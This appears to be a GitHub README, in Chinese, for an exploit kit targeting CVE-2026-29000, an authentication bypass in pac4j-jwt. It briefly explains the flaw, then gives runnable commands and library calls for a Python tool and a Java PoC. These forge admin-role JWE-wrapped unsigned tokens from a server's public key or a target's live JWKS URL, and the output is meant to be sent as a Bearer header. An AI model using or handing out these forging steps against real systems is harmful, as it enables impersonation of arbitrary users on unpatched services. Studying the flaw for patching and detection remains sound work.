kernelzeroday/CVE-2026-29000
GitHub: kernelzeroday/CVE-2026-29000
针对 pac4j-jwt 身份验证绕过漏洞(CVSS 10)的完整 Writeup 与利用工具,支持仅凭公钥伪造有效 JWE 包装的 JWT Token。
Stars: 0 | Forks: 0
# CVE-2026-29000:pac4j-jwt JwtAuthenticator 身份验证绕过
完整构建:详细说明、Java 进程内 PoC、Python token 伪造 CLI 和库、测试。
## 概要
- **CVE:** CVE-2026-29000 (CVSS 10, CWE-347)
- **受影响版本:** pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3(当使用 JWE + 签名配置时)
- **问题:** JWE 包装的 **PlainJWT**(未签名)绕过了签名验证;仅持有服务器 RSA **公钥**的攻击者可以伪造 token 并以任意用户身份进行认证。
详情及 PoC 要求请参阅 [WRITEUP.md](WRITEUP.md)。
## 目录结构
| 路径 | 描述 |
|------|-------------|
| `WRITEUP.md` | CVE 概要、根本原因、受影响版本、PoC 要求、参考链接 |
| `poc/` | Java Maven PoC(针对 pac4j-jwt 6.0.3 的进程内绕过) |
| `token_forge/` | Python 包:通过 PEM 或 JWKS URL 伪造 JWE 包装的 PlainJWT |
| `tests/` | 针对 claims、forge、keys、CLI 的 Pytest 测试 |
| `requirements.txt` | Python 依赖 (jwcrypto, requests, pytest) |
## Python (token forge)
### 安装
```
python3 -m venv .venv
source .venv/bin/activate # or .venv\Scripts\activate on Windows
pip install -r requirements.txt
```
### 运行 CLI
```
# 从 PEM (生成命令: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# 从 JWKS URL
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# 选项: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
```
输出:单行(伪造的 JWT);用法为 `Authorization: Bearer `。
### 库
```
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
```
### 测试
```
pytest -vv --tb=short --maxfail=1
# 或将警告视为错误:
pytest -vv -W error -W always --tb=short --maxfail=1
```
## Java PoC
### 构建并运行(需要 Java 11+ 和 Maven)
```
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# 或仅限 token (无进程内验证):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# 使用自定义 subject/roles:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
```
预期结果:在进程内运行时显示 `[BYPASS] Authenticated as: admin#override` 及角色。
## 参考链接
- [CodeAnt AI – 完整 PoC 和分析](https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key)
- [pac4j 安全公告](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html)
- [OpenCVE CVE-2026-29000](https://app.opencve.io/cve/CVE-2026-29000)
标签:CVE-2026-29000, CWE-347, GHAS, improper verification, Java安全, JS文件枚举, JWE, JWKS, JWT, pac4j-jwt, PoC, Python安全工具, RSA, Streamlit, Web安全, 伪造令牌, 安全漏洞, 安全规则引擎, 开放策略代理, 暴力破解, 漏洞复现, 蓝队分析, 认证绕过, 访问控制, 逆向工具